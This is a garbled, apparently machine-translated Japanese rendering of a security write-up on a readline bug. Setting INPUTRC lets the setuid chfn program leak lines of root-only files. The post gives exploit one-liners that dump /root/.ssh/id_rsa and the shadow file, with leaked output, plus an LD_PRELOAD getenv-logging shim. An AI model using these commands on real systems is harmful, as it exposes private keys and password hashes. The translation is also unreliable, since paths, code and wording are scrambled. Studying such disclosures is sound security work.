たまたまで論理型コンピュータウイルスに感染してしまいました readline 依存関係は、 内に配置されたファイルを解析するときにファイル データを部分的に表示します。 INPUTRC アンビエンス変数。 これにより、攻撃者は
sshd が実行されているボックス上で横方向に転送することが可能になる可能性があります。ログインする準備ができており、特定の人の内部の最も秘密が特定された場所に保存されています (
/home/particular person/.ssh/id_rsa ).
このコンピュータ ウイルスは報告され、パッチが適用されました は 2022 年 2 月にサポートされ、chfn は によって最も絶え間なく提供されるわけではありませんutil-linux とにかく、あなたのボクセンは間違いなく適切に試みています。 エクスプロイトがばかげているので、私はこれについて書いています。なぜなら、SSH の形式と正しく結合する readline 構成ファイルの解析機能の運命の微妙なひねりのおかげで、おそらく考慮に入れることができるからです。キー—このパブリッシュで余分に定義されています。
TL;DR:
$ INPUTRC=/root/.ssh/id_rsa chfn 特定の人の指データを変更します。 パスワード: readline: /root/.ssh/id_rsa: 1 行目: -----BEGIN: 不明なキー修飾子 readline: /root/.ssh/id_rsa: 2 行目: b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn: キー シーケンス ターミネータなし ... readline: / root/.ssh/id_rsa: 37 行目: avxwhoky6ozXEAAAAJcm9vdEBNQVRFAQI=: キー シーケンス ターミネータなし readline: /root/.ssh/id_rsa: 38 行目: -----END: 不明なキー修飾子 ジョブの場所 : ^C $
コンピュータウィルスの発見
私は Qualys sudo コンピュータウィルス
しばらく対応。 The Art of Tool Security Overview —vol. 2 wen?— 私は刺激を受けて、攻撃面として環境変数を垣間見ることにしました。 廃止するのに2時間かかり、私は介在ライブラリを /および他の多くの/ld.so.preload に投げ込みましたログ getenv 呼び出し:
#_GNU_SOURCE の説明を提供 #encompass#encompass // gcc getenv.c -fPIC -shared -ldl -o getenv.so char *(*_real_getenv)(const char=0; char *getenv(const char *title) { if(!_real_getenv) _real_getenv=dlsym(RTLD_NEXT, "getenv"); char *res=_real_getenv(タイトル); syslog(1, "getenv("%s")=> "%s"n", タイトル, res); res を返します。 }
NB: 私は蓄積トレイルからそれを行った方法を偽造するつもりです.そして、gdb の下で起動された SUID プロセスを蓄積するために、球体を探して時間を無駄にしませんでした。
get / -perm /4000 (はい、引数を Google で調べました) を実行して、完全な SUID を取得しました。私のマシン上のバイナリ. getenv の呼び出しは めちゃくちゃ うるさく、さまざまな遅い、反復的な、疲れる、反復的な結果で終わります。 LC_MESSAGES、SYSTEMD_IGNORE_USERDB、SYSTEMD_IGNORE_CHROOT、および会社の無限の (20 のような) バリエーションを吹き飛ばした後、偶然 INPUTRC は、chfn 内のどこかで使用されます。 入札をお待ちしております。 INPUTRC が
INPUTRC=/and many other/shadow 何が起こるかを目撃する…
$ INPUTRC=/その他多数/shadow chfn 特定の人の指データを変更します。 パスワード: readline: /and many others/shadow: line 9: systemd-journal-a long way off: unknown key modifier readline: /and many others/shadow: line 10: systemd-community: unknown key modifier readline: /and manyその他/シャドウ: 11 行目: systemd-oom: 不明なキー修飾子 readline: /その他多数/シャドウ: 12 行目: systemd-resolve: 不明なキー修飾子 readline: /その他多数/シャドウ: 13 行目: systemd-timesync: 不明key modifier readline: /and many other/shadow: line 14: systemd-coredump: unknown key modifier Place of job : ^C $
うーん。
/その他多数/影? In my ターミナル? 見てるよりも見た目以上です
セリフの間:根本原因の評価
私の最初の考えは、Google の「INPUTRC」に変わりました。 幸いなことに、検索の最初の結果
が表示されましたreadline 図書館。 実際、 readline-8.1
ソース コードで、たまたま “INPUTRC” が (
sh_get_env_value の描画によって) パラメータとして getenv。 aptくらいになりそうです! int rl_read_init_file (const char *filename) { // ... if (ファイル名==0) ファイル名=sh_get_env_value ("INPUTRC"); // <- ビンゴ